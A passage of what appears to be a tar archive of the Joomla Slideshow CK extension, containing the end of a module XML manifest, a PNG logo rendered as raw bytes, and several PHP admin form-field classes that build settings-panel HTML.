					<option value="normal">SLIDESHOWCK_THUMBSTYPE_NORMAL</option>
				</field>
				<field
					name="fixhtml"
					type="slideshowckradio"
					default="0"
					label="SLIDESHOWCK_FIXHTML_LABEL"
					description="SLIDESHOWCK_FIXHTML_DESC"
					icon="bug_delete.png"
					class="btn-group"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="content_prepare"
					type="slideshowckradio"
					default="1"
					label="SLIDESHOWCK_CONTENT_PREPARE_LABEL"
					description="SLIDESHOWCK_CONTENT_PREPARE_DESC"
					class="btn-group"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="debug"
					type="slideshowckradio"
					default="1"
					label="SLIDESHOWCK_DEBUG_LABEL"
					description="SLIDESHOWCK_DEBUG_DESC"
					class="btn-group"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="loadinline"
					type="slideshowckradio"
					default="0"
					label="SLIDESHOWCK_LOAD_INLINE_LABEL"
					description="SLIDESHOWCK_LOAD_INLINE_DESC"
					class="btn-group"
				>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					icon="layout.png" />

				<field
					name="moduleclass_sfx"
					type="slideshowcktext"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					icon="text_signature.png" />

				<field
					name="cache"
					type="slideshowcklist"
					default="1"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC" >
					<option	value="1">JGLOBAL_USE_GLOBAL</option>
					<option	value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="slideshowcktext"
					default="900"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					icon="hourglass.png"
					suffix="min" />

				<field
					name="cachemode"
					type="hidden"
					default="itemid" >
					<option	value="itemid"></option>
				</field>

			</fieldset>
		</fields>
	</config>
</extension>
com_slideshowck/extensions/mod_slideshowck/logo_slideshowck.png000060400000007125152455305260021353 0ustar00�PNG


IHDR@@�iq�sBIT|d�	pHYs��:���tEXtSoftwarewww.inkscape.org��<
�IDATx�ݚ{��]�?�������a�v];�ڍ�68�4.uJ�T})�ABQ@@�^AUB�
h����@ʓ�4�ݒƯƎ���^������sܝ�sggf�>�?8��93s�|����1sW

M���y���X�~#���o����E��y�^*�$�q�RI0��]$���@�� ��X����Q$_�
��xd�ul)�@�m,�A�q��`��n����$����I
j$)!z�*���]m�k��,�wKK!�nX_J�<XM$��Z��֐�_*�_
�'m�,|#*��	a�մ���u|h�� ��RA���{�� ,W
Q��?���`���^���KI�q�#!�X���O�+	��(�q�����Y=HBl\���/֢|?H�r^�y�I�J��M#!..5�%Y=���q?�����~D)�w�c�@S3��(�-D�PXw?��#u5��b��R����~�����~�1����L^D�>�w�q��M����:�K�7�vf~�I�_=�dc(�ۉp��ξ�5j�F�O@�:쎵X/�.r�j��mK,K��r{��<�6*�; ݊��!eY��n�ػ
պ����8�c�r���b�v���.|�k[���|
�A(9s{�T�;�۳�>�A �\E�x�1��G\8X#�c1q��ҽ�D������`	S�GJۑU`z�#PΣs]����\@��yj%�-1��?�� %Vq
����B
���7����C���)ĕ�*U�-��Z������V��d~��G���Ď!0���b翞��>�;����,������ǫj�w�"��1�A<9!`���g��k��q��ĭ�ؖD�j@�B¦=dN��s����
�=���Jڝ�����'C��Z���S���eЪ*q)�dI�K�i:���
�6�ܣ��^sN���+�)�T�/$�翌�u⌞�l؅�ɋ�>��,��=�N��҃;�}�kuA��0�/?G�ßE�:Mi��-�>�z��HK��K��֋�v�>��[�J�@J�M{k�'��Na����O�	��y0k���#ؖ-�`M]#%2ׁ37��́7��8�<:�	W!�>J靗H
�=�m��߇۱��^��E��h]\��A�ܹAy����^z�S8�<�`���%ƒHǩL�R���t@[^�@����Xo�=j�>L[Xz�nt�ے�ޖ�-��0��	Ws��"��aR��2jݽ4��B�
��!�ev�VJ~TL�5���r;5n%%��(!��Ag�1A��II��eJ�מETj�қ���=�P�>��ۂ��XrA�pl�F!r-�R"�t(N&�B�˳�[�h��o�Fޅ��Ar��l;��~eAj�H��ȓ`YB�̶��N��A���8�)W��y��A�
�� �?�g�7����M�}q�%�ˁ{���Jam�i���`��	)��$���Z��{5z��;���P�3�u��d��So=���t>��2�zfb������g�4ה���/�j�i�&�ڍ*�3����֠n��JgQ7Nan�����o���j�`�E�OD������5�ձs�R�UW�ubm�ڋ�փ�kG^9�#Si���o�)�j��}�G���ح����q�`n���5q�0��@�
���hF��0w�M�<�bJ<��C&X��`�:�����q]�	�`�,l…Nx?�{�q��>1�,�*��bF��l�/�5�+��W��9��:KG\�ǀ$�HY*Q$D=l�I��ۑ��oT!Q��a5[TM2�7
:��$ �!���ŕ8��v#�d��I4rM#d��(�>��&�kk��F>D�X�=Q���TuOҜ�}V����5��l�7�Gۖ�4ub5e�����#��6�7��G�>�Ϩ�Qd���=O!s�{���&#�vkv��7?ɕW����DR�s&f��h��YO�g~����>03�y�k6�ӎ��!*G^$�����a���8��w0���(
ۡ��}t�_N�:i��#��>p�ٍ�KcvK����-�*�h��h�~WYM����P����TS��tc��Mt�}��������o$���Y�)2����*;��i��)L/��{A���;�g`��U
���1�/�C��/���)���=�<�?�&�ۗ�9��H���Aו�B��mk
��u�$fvJo�U�^_Q��<��ja`k6���/!Z{�V�=%��o2s�P�|�b�b	\ tP�m����?0�gޠr�u��2r���a��0�@��u�Ë1�A�bx/!`�|�;7(�G��}’,E�1�J@�`��Eɗ�@�N-��kZ�X��S�ո9�����Q<	�k hu]�����ת��a,FFbޠ������F�բ�U(��%*۟�ݸ��V�1ry�yȏb��!j)dDf�0�j@2��ZJ�j��q֯��@yׯc�Z����c���z8�^vԉ��Z�A�*���ՃsEY_��t������Ѥ/�I���P)$K���.:8Vs��眏�^ԏg}o�U���&�t�:�ۧb�D��K!�] t��=���q�~p��[��j�[�~���/���V�@!%H��z��]]w�R��J�0>�4�-?O��~��W��[+�d��z.�m�y�ڂ�F��������7����n�����\x�nox���K!dQx�s��V�R��+ �Z���
����'1���62����wr�VE
�h�6�T�T�ze�_#�~^�
F�t_��[�pi��1�2�dž��A~�Ӵ�:B���*M�(6X===�FY&<f������AiC���5z�+u֏ۏ��-��
���#���۠]��k��P�c�y=�����>�va�2���V���(�Ӝ]���NPnj��D�>��'ɖưT�*D�P�_��q:��`��:����������}L�n�����
Ops�N�ξ@&�!�q��8jD�/�K����e���=.������Y;v�Zaj����<�^��eۉ��z�..~��(�ɟk"3���f���h�XZlX��"�1���Y��aWҦ3k�@�[7n�J�����w�/h�s��>!���D�Q�d�L��5����_�6yzE�䯠�����S
���Nq21ucH��z�o�x�[X���)U����)����~mt(g���;PNe�AZ�ןڇ�@�??�)�њ�����QLw�:}�T%L�A�ۯ�9fs�(+M��Y?�6���͛�R��}݉JyQ}�-
x����R.��I���\�~9d�Iotq���NplR&$�+UA!��x.�A#���X?��(�,��m�8�p7TP��E��V�^$�aV����TA�a$J�Q�������H�SA����+M��}L2IEND�B`�com_slideshowck/elements/ckproonly.php000060400000002314152455305260014271 0ustar00<?php
/**
 * @copyright	Copyright (C) 2017 Cedric KEIFLIN alias ced1870
 * http://www.joomlack.fr
 * @license		GNU/GPL
 * */

defined('JPATH_PLATFORM') or die;

require_once 'ckformfield.php';

class JFormFieldCkproonly extends CKFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 *
	 */
	protected $type = 'ckproonly';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 */
	protected function getLabel()
	{
		return '';
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 */
	protected function getInput()
	{
		$html = '<div class="ckinfo"><i class="fas fa-info"></i><a href="https://www.joomlack.fr/en/joomla-extensions/slideshow-ck" target="_blank">' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_ONLY_PRO') . '</a></div>';

		return $html;
	}

	/*
	 * Get a variable from the manifest file
	 * 
	 * @return the current version
	 */
	public static function getCurrentVersion($file_url) {
		// get the version installed
		$installed_version = 'UNKOWN';
		if ($xml_installed = simplexml_load_file($file_url)) {
			$installed_version = (string)$xml_installed->version;
		}

		return $installed_version;
	}
}
com_slideshowck/elements/slideshowckcolor.php000060400000002266152455305260015635 0ustar00<?php

/**
 * @copyright	Copyright (C) 2011 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * Module Maximenu CK
 * @license		GNU/GPL
 * */
// no direct access
defined('_JEXEC') or die('Restricted access');

\Joomla\CMS\Form\FormHelper::loadFieldClass('color');

// custom class extension for J3 compatibility
if (class_exists('\Joomla\CMS\Form\Field\ColorField')) {
	class JFormFieldSlideshowckcolorBase extends \Joomla\CMS\Form\Field\ColorField {}
} else {
	class JFormFieldSlideshowckcolorBase extends JFormFieldColor {}	
}

class JFormFieldSlideshowckcolor extends JFormFieldSlideshowckcolorBase {

	protected $type = 'slideshowckcolor';

	protected function getInput() {
		// Initialize some field attributes.
		$icon = $this->element['icon'];
		$suffix = $this->element['suffix'];

		$html = '';
		if (version_compare(JVERSION, '4') < 0) {
		$html .= '<div style="display:inline-block;vertical-align:top;margin-top:4px;width:20px;"><img src="' . SLIDESHOWCK_MEDIA_URI . '/images/color.png" style="margin-right:5px;" /></div>';
		}

		$html .= parent::getInput();
		if ($suffix)
			$html .= '<span style="display:inline-block;line-height:25px;">' . $suffix . '</span>';
		return $html;
	}
}

com_slideshowck/elements/ckinfo.php000060400000005234152455305260013526 0ustar00<?php
/**
 * @copyright	Copyright (C) 2017 Cedric KEIFLIN alias ced1870
 * http://www.joomlack.fr
 * @license		GNU/GPL
 * */

defined('JPATH_PLATFORM') or die;

require_once 'ckformfield.php';

class JFormFieldCkinfo extends CKFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 *
	 */
	protected $type = 'ckinfo';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 */
	protected function getLabel()
	{
		return '';
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 */
	protected function getInput()
	{
		$doc = \Joomla\CMS\Factory::getDocument();
		$styles = '.ckinfo {position:relative;background:#efefef;border: none;border-radius: px;color: #333;font-weight: normal;line-height: 24px;padding: 5px 5px 5px 35px;margin: 3px 0;text-align: left;text-decoration: none;}
.ckinfo > .fas {
	font-size: 15px;
	padding: 3px 5px;
	background: rgba(0, 0, 0, 0.1);
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	line-height: 25px;
	width: 30px;
	text-align: center;
	box-sizing: border-box;
}
.ckinfo img {margin: 0 10px 0 0;}
.control-label:empty {display: none;}
.control-label:empty + .controls {margin: 0;}
';
		$doc->addStyleDeclaration($styles);

		// get the extension version
		$current_version = $this->getCurrentVersion(JPATH_SITE .'/administrator/components/com_slideshowck/slideshowck.xml');
		$html = '';
		$html .= '<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">';
		$html .= '<div class="ckinfo"><i class="fas fa-thumbs-up"></i><a href="https://extensions.joomla.org/extensions/extension/photos-a-images/slideshow/slideshow-ck" target="_blank">' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_VOTE_JED') . '</a></div>';
		$html .= '<div class="ckinfo"><i class="fas fa-info"></i><b>SLIDESHOW CK</b> - ' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_CURRENT_VERSION') . ' : <span class="label">' . $current_version . '</span></div>';
		$html .= '<div class="ckinfo"><i class="fas fa-file-alt"></i><a href="https://www.joomlack.fr/en/documentation/48-slideshow-ck" target="_blank">' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_DOCUMENTATION') . '</a></div>';

		return $html;
	}

	/*
	 * Get a variable from the manifest file
	 * 
	 * @return the current version
	 */
	public static function getCurrentVersion($file_url) {
		// get the version installed
		$installed_version = 'UNKOWN';
		if ($xml_installed = simplexml_load_file($file_url)) {
			$installed_version = (string)$xml_installed->version;
		}

		return $installed_version;
	}
}
com_slideshowck/elements/ckradio.php000060400000004502152455305260013666 0ustar00<?php

/**
 * @copyright	Copyright (C) 2011 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
defined('JPATH_PLATFORM') or die;

require_once 'ckformfield.php';

class JFormFieldCkradio extends CKFormField {

	protected $type = 'ckradio';

	protected function getInput() {
		$html = array();

		// Initialize some field attributes.
		$class = $this->element['class'] ? ' class="radio ' . (string) $this->element['class'] . '"' : ' class="radio"';
		$icon = $this->element['icon'];

		// Start the radio field output.
		$html[] = $icon ? '<div style="display:inline-block;vertical-align:top;margin-top:5px;width:20px;"><img src="' . $this->mediaPath . $icon . '" style="margin-right:5px;" /></div>' : '<div style="display:inline-block;width:20px;"></div>';
		$html[] = '<fieldset id="' . $this->id . '-fieldset"' . $class . ' style="display:inline-block;">';
		$html[] = '<input type="hidden" isradio="1" id="' . $this->id . '" class="' . $this->element['class'] . '" value="' . $this->value . '" />';

		// Get the field options.
		$options = $this->getOptions();

		// Build the radio field output.
		foreach ($options as $i => $option) {

			if (stristr($option->text, "img:"))
				$option->text = '<img src="' . $this->mediaPath . str_replace("img:", "", $option->text) . '" style="margin:0; float:none;" />';

			// Initialize some option attributes.
			$checked = ((string) $option->value == (string) $this->value) ? ' checked="checked"' : '';
			$class = !empty($option->class) ? ' class="' . $option->class . '"' : '';
			$disabled = !empty($option->disable) ? ' disabled="disabled"' : '';

			// Initialize some JavaScript option attributes.
			$onclick = !empty($option->onclick) ? ' onclick="' . $option->onclick . '"' : '';
			$onclick = ' onclick="$(\'' . $this->id . '\').setProperty(\'value\',this.value);"';

			$html[] = '<input type="radio" id="' . $this->id . $i . '" name="' . $this->name . '"' . ' value="'
					. htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8') . '"' . $checked . $class . $onclick . $disabled . '/>';

			$html[] = '<label for="' . $this->id . $i . '"' . $class . '>'
					. \Joomla\CMS\Language\Text::alt($option->text, preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname)) . '</label>';
		}

		// End the radio field output.
		$html[] = '</fieldset>';

		return implode($html);
	}

	

}
com_slideshowck/elements/ckdocumentation.php000060400000001464152455305260015445 0ustar00<?php

/**
 * @copyright	Copyright (C) 2011 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
// no direct access
defined('_JEXEC') or die('Restricted access');

require_once 'ckformfield.php';

class JFormFieldCkdocumentation extends CKFormField {

	protected $type = 'ckdocumentation';

	protected function getLabel() {
		return '';
	}

	protected function getInput() {
		$html = array();

		$icon = $this->element['icon'] ? $this->element['icon'] : 'file-alt';
		$url = $this->element['url'] ? $this->element['url'] : 'https://www.joomlack.fr/en/documentation';
		$html[] = '<div class="ckinfo"><i class="fas fa-' . $icon . '"></i><a href="' . $url . '" target="_blank">' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_DOCUMENTATION') . '</a></div>';

		return implode('', $html);
	}
}

com_slideshowck/elements/ckheight.php000060400000014317152455305260014045 0ustar00<?php

/**
 * @copyright	Copyright (C) 2011-2019 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
defined('JPATH_PLATFORM') or die;

// custom class extension for J3 compatibility
if (class_exists('\Joomla\CMS\Form\Field\HiddenField')) {
	class JFormFieldCkheightBase extends \Joomla\CMS\Form\Field\TextField {}
} else {
	class JFormFieldCkheightBase extends JFormFieldText {}
}

class JFormFieldCkheight extends JFormFieldCkheightBase {

	/**
	 * The form field type.
	 *
	 * @var    string
	 *
	 * @since  11.1
	 */
	protected $type = 'ckheight';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   11.1
	 */
	protected function getInput() {
		// Initialize some field attributes.
		$icon = $this->element['icon'];
		$suffix = $this->element['suffix'];

		$html = $icon ? '<div class="slideshowck-field-icon" ' . ($suffix ? 'data-has-suffix="1"' : '') . '><img src="' . SLIDESHOWCK_MEDIA_URI . '/images/' . $icon . '" style="margin-right:5px;" /></div>' : '<div style="display:inline-block;width:20px;"></div>';

		$html .= parent::getInput();
		if ($suffix)
			$html .= '<span class="slideshowck-field-suffix">' . $suffix . '</span>';
			
		$html .= '<span class="ckbutton" onclick="CKBox.open({handler: \'inline\', content: \'ckheightfieldhelp\', style: {padding: \'10px\'}, size: {x:  \'800px\', y: \'550px\'}})"><i class="fas fa-info"></i></span>';
		$html .= '<div id="ckheightfieldhelp" style="display: none;"><h3>' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_HEIGHT_FIELD_HELP_TITLE') . '</h3>
		<p>' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_HEIGHT_FIELD_HELP_1') . '</p>
		<p><b>' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_HEIGHT_FIELD_HELP_2') . '</b></p>
		<p>' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_HEIGHT_FIELD_HELP_3') . '</p>
		<p>' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_HEIGHT_FIELD_HELP_4') . '</p>
		<p style="text-align:center;padding:10px;font-size: 18px;">1280 x 800 px</p>
		<p>' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_HEIGHT_FIELD_HELP_5') . '</p>
		<p><b>' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_CALCULATOR') . '</b></p>
		<p><label for="ckheightfieldhelpheight">' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_HEIGHT_LABEL') . '</label><input type="text" id="ckheightfieldhelpheight" onchange="ckHeightFieldHelpCalculator()"/></p>
		<p><label for="ckheightfieldhelpwidth">' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_WIDTH_LABEL') . '</label><input type="text" id="ckheightfieldhelpwidth" onchange="ckHeightFieldHelpCalculator()" /></p>
		<p><label for="ckheightfieldhelpratio">' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_RATIO_LABEL') . '</label><input type="text" id="ckheightfieldhelpratio" style="font-size: 18px;" /></p>
		<script>function ckHeightFieldHelpCalculator() {
			document.getElementById("ckheightfieldhelpratio").value = parseFloat(document.getElementById("ckheightfieldhelpheight").value) / parseFloat(document.getElementById("ckheightfieldhelpwidth").value) * 100;
		}</script>
		</div>';
		return $html;
		
		// Initialize some field attributes.
		$icon = $this->element['icon'];
		$suffix = $this->element['suffix'];
		$size = $this->element['size'] ? ' size="' . (int) $this->element['size'] . '"' : '';
		$maxLength = $this->element['maxlength'] ? ' maxlength="' . (int) $this->element['maxlength'] . '"' : '';
		$class = $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : '';
		$readonly = ((string) $this->element['readonly'] == 'true') ? ' readonly="readonly"' : '';
		$disabled = ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : '';
		$defautlwidth = $suffix ? '128px' : '150px';
		$styles = ' style="width:' . $defautlwidth . ';' . $this->element['styles'] . '"';

		// Initialize JavaScript field attributes.
		$onchange = $this->element['onchange'] ? ' onchange="' . (string) $this->element['onchange'] . '"' : '';
		$html = $icon ? '<div style="display:inline-block;vertical-align:top;margin-top:4px;width:20px;"><img src="' . $this->mediaPath . $icon . '" style="margin-right:5px;" /></div>' : '<div style="display:inline-block;width:20px;"></div>';
		$html .= '<div class="ckbutton-group"><input type="text" name="' . $this->name . '" id="' . $this->id . '"' . ' value="'
				. htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') . '"' . $class . $size . $disabled . $readonly . $onchange . $maxLength . $styles . '/>';
				
				
				// $html = parent::getInput();
		$html .= '<span class="ckbutton" onclick="CKBox.open({handler: \'inline\', content: \'ckheightfieldhelp\', style: {padding: \'10px\'}, size: {x:  \'800px\', y: \'550px\'}})"><i class="fas fa-info"></i></span></div>';
		$html .= '<div id="ckheightfieldhelp" style="display: none;"><h3>' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_HEIGHT_FIELD_HELP_TITLE') . '</h3>
		<p>' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_HEIGHT_FIELD_HELP_1') . '</p>
		<p><b>' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_HEIGHT_FIELD_HELP_2') . '</b></p>
		<p>' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_HEIGHT_FIELD_HELP_3') . '</p>
		<p>' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_HEIGHT_FIELD_HELP_4') . '</p>
		<p style="text-align:center;padding:10px;font-size: 18px;">1280 x 800 px</p>
		<p>' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_HEIGHT_FIELD_HELP_5') . '</p>
		<p><b>' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_CALCULATOR') . '</b></p>
		<p><label for="ckheightfieldhelpheight">' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_HEIGHT_LABEL') . '</label><input type="text" id="ckheightfieldhelpheight" onchange="ckHeightFieldHelpCalculator()"/></p>
		<p><label for="ckheightfieldhelpwidth">' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_WIDTH_LABEL') . '</label><input type="text" id="ckheightfieldhelpwidth" onchange="ckHeightFieldHelpCalculator()" /></p>
		<p><label for="ckheightfieldhelpratio">' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_RATIO_LABEL') . '</label><input type="text" id="ckheightfieldhelpratio" style="font-size: 18px;" /></p>
		<script>function ckHeightFieldHelpCalculator() {
			document.getElementById("ckheightfieldhelpratio").value = parseFloat(document.getElementById("ckheightfieldhelpheight").value) / parseFloat(document.getElementById("ckheightfieldhelpwidth").value) * 100;
		}</script>
		</div>';
		return $html;
	}

}
com_slideshowck/elements/ckformfield.php000060400000003674152455305260014550 0ustar00<?php

/**
 * @copyright	Copyright (C) 2011 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
// no direct access
defined('_JEXEC') or die('Restricted access');

// custom class extension for J3 compatibility
if (class_exists('\Joomla\CMS\Form\FormField')) {
	class CKFormFieldBase extends \Joomla\CMS\Form\FormField {}
} else {
	class CKFormFieldBase extends JFormField {}	
}


class CKFormField extends CKFormFieldBase {

	public $mediaPath;

	public function __construct() {
		$this->mediaPath = \Joomla\CMS\Uri\Uri::root(true) . '/media/com_slideshowck/images/';
		// loads the language files from the frontend
		$lang	= \Joomla\CMS\Factory::getLanguage();
		$lang->load('com_slideshowck', JPATH_SITE . '/components/com_slideshowck', $lang->getTag(), false);
		$lang->load('com_slideshowck', JPATH_SITE, $lang->getTag(), false);
		parent::__construct();
	}
	protected function getInput() {
		return '';
	}

	protected function getLabel() {
		return parent::getLabel();
	}

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   11.1
	 */
	protected function getOptions() {
		$options = array();

		foreach ($this->element->children() as $option) {

			// Only add <option /> elements.
			if ($option->getName() != 'option') {
				continue;
			}

			// Create a new option object based on the <option /> element.
			$tmp = \Joomla\CMS\HTML\HTMLHelper::_(
							'select.option', (string) $option['value'],
							\Joomla\CMS\Language\Text::alt(trim((string) $option), preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname)), 'value', 'text',
							((string) $option['disabled'] == 'true')
			);

			// Set some option attributes.
			$tmp->class = (string) $option['class'];

			// Set some JavaScript option attributes.
			$tmp->onclick = (string) $option['onclick'];

			// Add the option object to the result set.
			$options[] = $tmp;
		}

		reset($options);

		return $options;
	}
}
com_slideshowck/elements/slideshowckspacer.php000060400000003172152455305260015771 0ustar00<?php

/**
 * @copyright	Copyright (C) 2011 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
// no direct access
defined('_JEXEC') or die('Restricted access');

require_once 'ckformfield.php';

class JFormFieldSlideshowckspacer extends CKFormField {

	protected $type = 'slideshowckspacer';

	protected function getLabel() {
		return '';
	}

	protected function getInput() {
		$html = array();
		$class = $this->element['class'] ? (string) $this->element['class'] : '';

		$style = $this->element['style'] ? $this->element['style'] : '';

		if ($style == 'title') {
			$doc = \Joomla\CMS\Factory::getDocument();
			$styles = '.ckinfo.cktitle {
				background:#666;
				color: #eee;
				text-transform: uppercase;
				font-weight: normal;
				line-height: 24px;
				padding: 8px 5px 8px 35px;
				margin: 3px 0;
				text-align: left;
				text-decoration: none;
				border-radius: 3px;
				}
	';
			$doc->addStyleDeclaration($styles);
		}
		
		if ((string) $this->element['hr'] == 'true') {
			$html[] = '<hr class="' . $class . '" />';
		} else {
			$label = '';
			// Get the label text from the XML element, defaulting to the element name.
			$text = $this->element['label'] ? (string) $this->element['label'] : (string) $this->element['name'];
			$text = $this->translateLabel ? \Joomla\CMS\Language\Text::_($text) : $text;

			// set the icon
			$icon = $this->element['icon'] ? $this->element['icon'] : 'info';
			$html[] = '<div class="ckinfo' . ($style == 'title' ? ' cktitle' : '') . '">' . ($style == 'title' ? '' : '<i class="fas fa-' . $icon . '"></i>') . $text . '</div>';
		}

		return implode('', $html);
	}
}

com_slideshowck/elements/cksource.php000060400000004460152455305260014073 0ustar00<?php
/**
 * @copyright	Copyright (C) 2019 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */

defined('JPATH_PLATFORM') or die;

include_once 'slideshowcklist.php';

class JFormFieldCksource extends JFormFieldSlideshowcklistBase
{

	protected $type = 'cksource';

	private $options;

	function __construct($form = null) {
		parent::__construct($form);
	}

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   11.1
	 */
	protected function getOptions() {
		$options = array();

		foreach ($this->element->children() as $option) {

			// Only add <option /> elements.
			if ($option->getName() != 'option') {
				continue;
			}

			// Create a new option object based on the <option /> element.
			$tmp = \Joomla\CMS\HTML\HTMLHelper::_(
				'select.option', (string) $option['value'], \Joomla\CMS\Language\Text::alt(trim((string) $option), preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname)), 'value', 'text', ((string) $option['disabled'] == 'true')
			);

			// Set some option attributes.
			$tmp->class = (string) $option['class'];

			// Set some JavaScript option attributes.
			$tmp->onclick = (string) $option['onclick'];

			// Add the option object to the result set.
			$options[] = $tmp;
		}

		$this->options = $options;

		// load the custom plugins
		if (\Joomla\CMS\Plugin\PluginHelper::isEnabled('system', 'slideshowck')) {
			// load the custom plugins
			require_once(JPATH_ADMINISTRATOR . '/components/com_slideshowck/helpers/ckfof.php');
			Slideshowck\CKFof::importPlugin('slideshowck');
			$sources = Slideshowck\CKFof::triggerEvent('onSlideshowckGetSourceName');

			if (count($sources)) {
				foreach ($sources as $source) {

					if (! $this->findOption($source)) {
						$tmp = \Joomla\CMS\HTML\HTMLHelper::_(
							'select.option', (string) $source, \Joomla\CMS\Language\Text::alt(trim((string) 'SLIDESHOWCK_SOURCE_' . strtoupper($source)), preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname)), 'value', 'text', '0'
						);
						// Add the option object to the result set.
						$this->options[] = $tmp;
					}
				}
			}
		}

		reset($this->options);

		return $this->options;
	}

	public function findOption($source) {
		foreach ($this->options as $o) {
			if ($o->value == $source) return true;
		}
		return false;
	}
}
com_slideshowck/elements/cklist.php000060400000004461152455305260013547 0ustar00<?php

/**
 * @copyright	Copyright (C) 2011-2019 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
defined('JPATH_PLATFORM') or die;

jimport('joomla.html.html');
jimport('joomla.form.formfield');

require_once 'ckformfield.php';

class JFormFieldCklist extends CKFormField {

	protected $type = 'cklist';

	protected function getInput() {
		// Initialize variables.
		$html = array();
		$attr = '';
		$icon = $this->element['icon'];
		$suffix = $this->element['suffix'];

		// Initialize some field attributes.
		$attr .= $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : '';

		// To avoid user's confusion, readonly="true" should imply disabled="true".
		if ((string) $this->element['readonly'] == 'true' || (string) $this->element['disabled'] == 'true') {
			$attr .= ' disabled="disabled"';
		}

		$attr .= $this->element['size'] ? ' size="' . (int) $this->element['size'] . '"' : '';
		$attr .= $this->multiple ? ' multiple="multiple"' : '';
		$attr .= ' style="width:150px;' . $this->element['styles'] . '"';

		// Initialize JavaScript field attributes.
		$attr .= $this->element['onchange'] ? ' onchange="' . (string) $this->element['onchange'] . '"' : '';

		// Get the field options.
		$options = (array) $this->getOptions();

		// Create a read-only list (no name) with a hidden input to store the value.
		if ((string) $this->element['readonly'] == 'true') {
			$html[] = $icon ? '<div style="display:inline-block;vertical-align:top;margin-top:5px;width:20px;"><img src="' . $this->mediaPath . $icon . '" style="margin-right:5px;" /></div>' : '<div style="display:inline-block;width:20px;"></div>';
			$html[] = \Joomla\CMS\HTML\HTMLHelper::_('select.genericlist', $options, '', trim($attr), 'value', 'text', $this->value, $this->id);
			$html[] = '<input type="hidden" name="' . $this->name . '" value="' . $this->value . '"/>';
		}
		// Create a regular list.
		else {
			$html[] = $icon ? '<div style="display:inline-block;vertical-align:top;width:20px;"><img src="' . $this->mediaPath . $icon . '" style="margin-right:5px;" /></div>' : '<div style="display:inline-block;width:20px;"></div>';
			$html[] = \Joomla\CMS\HTML\HTMLHelper::_('select.genericlist', $options, $this->name, trim($attr), 'value', 'text', $this->value, $this->id);
		}

		return implode($html);
